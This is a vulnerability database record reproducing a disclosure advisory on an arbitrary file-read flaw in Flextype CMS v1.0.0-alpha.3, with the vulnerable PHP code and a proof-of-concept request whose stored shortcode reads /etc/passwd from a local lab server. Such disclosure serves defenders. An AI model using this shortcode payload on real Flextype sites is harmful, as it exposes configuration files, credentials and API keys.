GCVE-1988-2026-0183
Vulnerability from gna-1988 β Published: 2026-09-08 07:25 β Updated: 2026-09-09 13:04
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 Stored Filesystem Shortcode Allows Arbitrary File Read
Summary
Description
Flextype CMS v1.0.0-alpha.3 contains an arbitrary file-read vulnerability
in its stored shortcode processing functionality. Attacker-controlled entry
fields are automatically processed by the shortcode parser when global
shortcode processing is enabled.
The built-in filesystem shortcode accepts a file path and returns the
contents of the specified file without restricting the path to an approved
application directory.
An attacker capable of storing shortcode syntax within an entry can
therefore cause Flextype to read arbitrary files accessible to the PHP
process.
Testing confirmed exploitation by storing a filesystem shortcode
referencing /etc/passwd. Flextype returned the contents of /etc/passwd
while processing the entry and returned the file contents again during
subsequent normal retrieval of the stored entry.
Impact
An attacker can retrieve arbitrary files readable by the Flextype PHP
process.
Potentially exposed information includes application configuration,
credentials, API keys, database connection information, source code,
operating-system files, and other application secrets.
Unlike the previously identified ExpressionsDirective file-read
vulnerability, this vulnerability reaches filesystem functionality through
Flextype's shortcode parser and FilesystemShortcode implementation.
DetailsAutomatic Shortcode Processing
Entry fields are passed to the shortcode parser:
if (is_string($field['value'])) {
if (strings($field['value'])->contains('@shortcodes')) {
$field['value'] = strings(
parsers()->shortcodes()->parse($field['value'])
)->replace('@shortcodes', '')->trim()->toString();
} elseif (
registry()->get(
'flextype.settings.entries.directives.shortcodes.enabled_globally'
)
) {
$field['value'] = parsers()->shortcodes()->parse($field['value']);
}
}
Filesystem Shortcode
The filesystem shortcode accepts the supplied file parameter and returns
its contents:
if (
collection(array_keys($params))
->filter(static fn ($v) => $v === 'get')
->count() > 0 &&
isset($params['file']) &&
registry()->get(
'flextype.settings.parsers.shortcodes.shortcodes.filesystem.get.enabled'
) === true
) {
$file = parsers()->shortcodes()->parse($params['file']);
return filesystem()->file($file)->exists()
? filesystem()->file($file)->get()
: '';
}
No filesystem containment restriction is applied to $file before it is read.
Proof of Concept
The following entry contains a filesystem shortcode targeting /etc/passwd:
POST /api/v1/entries HTTP/1.1
Host: 127.0.0.1:18086
Content-Type: application/json
{"token":"lab-token","access_token":"password","id":"shortcode-file-proof","data":{"title":"(filesystem
get file:'/etc/passwd')"}}
Flextype returned the contents of /etc/passwd within the processed title:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
The stored entry was subsequently requested normally:
GET /api/v1/entries?token=lab-token&id=shortcode-file-proof HTTP/1.1
Host: 127.0.0.1:18086
The response again contained /etc/passwd, demonstrating stored arbitrary
file read during normal entry processing.
Root Cause
The vulnerability occurs because attacker-controllable stored entry content
is interpreted by the shortcode parser and the filesystem shortcode accepts
unrestricted filesystem paths.
The affected code ultimately performs:
filesystem()->file($file)->get()
without verifying that the canonicalized path resides within an explicitly
permitted directory.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure β’ Proof-of-Concept Development
π https://github.com/ob1sec
π https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Impacted products
Relationships
analysis
GCVE-1988-2026-0183 (this record)
- possibly related CVE-2026-77939
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains an arbitrary file-read vulnerability\nin its stored shortcode processing functionality. Attacker-controlled entry\nfields are automatically processed by the shortcode parser when global\nshortcode processing is enabled.\n\nThe built-in filesystem shortcode accepts a file path and returns the\ncontents of the specified file without restricting the path to an approved\napplication directory.\n\nAn attacker capable of storing shortcode syntax within an entry can\ntherefore cause Flextype to read arbitrary files accessible to the PHP\nprocess.\n\nTesting confirmed exploitation by storing a filesystem shortcode\nreferencing /etc/passwd. Flextype returned the contents of /etc/passwd\nwhile processing the entry and returned the file contents again during\nsubsequent normal retrieval of the stored entry.\nImpact\n\nAn attacker can retrieve arbitrary files readable by the Flextype PHP\nprocess.\n\nPotentially exposed information includes application configuration,\ncredentials, API keys, database connection information, source code,\noperating-system files, and other application secrets.\n\nUnlike the previously identified ExpressionsDirective file-read\nvulnerability, this vulnerability reaches filesystem functionality through\nFlextype\u0027s shortcode parser and FilesystemShortcode implementation.\nDetailsAutomatic Shortcode Processing\n\nEntry fields are passed to the shortcode parser:\n\nif (is_string($field[\u0027value\u0027])) {\n if (strings($field[\u0027value\u0027])-\u003econtains(\u0027@shortcodes\u0027)) {\n $field[\u0027value\u0027] = strings(\n parsers()-\u003eshortcodes()-\u003eparse($field[\u0027value\u0027])\n )-\u003ereplace(\u0027@shortcodes\u0027, \u0027\u0027)-\u003etrim()-\u003etoString();\n } elseif (\n registry()-\u003eget(\n \u0027flextype.settings.entries.directives.shortcodes.enabled_globally\u0027\n )\n ) {\n $field[\u0027value\u0027] = parsers()-\u003eshortcodes()-\u003eparse($field[\u0027value\u0027]);\n }\n}\n\nFilesystem Shortcode\n\nThe filesystem shortcode accepts the supplied file parameter and returns\nits contents:\n\nif (\n collection(array_keys($params))\n -\u003efilter(static fn ($v) =\u003e $v === \u0027get\u0027)\n -\u003ecount() \u003e 0 \u0026\u0026\n isset($params[\u0027file\u0027]) \u0026\u0026\n registry()-\u003eget(\n \u0027flextype.settings.parsers.shortcodes.shortcodes.filesystem.get.enabled\u0027\n ) === true\n) {\n $file = parsers()-\u003eshortcodes()-\u003eparse($params[\u0027file\u0027]);\n\n return filesystem()-\u003efile($file)-\u003eexists()\n ? filesystem()-\u003efile($file)-\u003eget()\n : \u0027\u0027;\n}\n\nNo filesystem containment restriction is applied to $file before it is read.\nProof of Concept\n\nThe following entry contains a filesystem shortcode targeting /etc/passwd:\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18086\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"shortcode-file-proof\",\"data\":{\"title\":\"(filesystem\nget file:\u0027/etc/passwd\u0027)\"}}\n\nFlextype returned the contents of /etc/passwd within the processed title:\n\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\n...\n\nThe stored entry was subsequently requested normally:\n\nGET /api/v1/entries?token=lab-token\u0026id=shortcode-file-proof HTTP/1.1\nHost: 127.0.0.1:18086\n\nThe response again contained /etc/passwd, demonstrating stored arbitrary\nfile read during normal entry processing.\nRoot Cause\n\nThe vulnerability occurs because attacker-controllable stored entry content\nis interpreted by the shortcode parser and the filesystem shortcode accepts\nunrestricted filesystem paths.\n\nThe affected code ultimately performs:\n\nfilesystem()-\u003efile($file)-\u003eget()\n\nwithout verifying that the canonicalized path resides within an explicitly\npermitted directory.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:04:00Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/25"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/25"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/25"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 Stored Filesystem Shortcode Allows Arbitrary File Read",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2026-77939",
"type": "possibly_related"
}
],
"vulnId": "GCVE-1988-2026-0183",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/25",
"automated": true,
"contentSha256": "6da4feb6987b16ed1a92eadb657c75eff8bbee93f9836ea2c7b16b2601f3c50a",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/25",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T02:55:45Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0183"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:25:42Z",
"dateUpdated": "2026-09-09T13:04:00Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0183"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loadingβ¦
Loadingβ¦
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loadingβ¦
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loadingβ¦
Loadingβ¦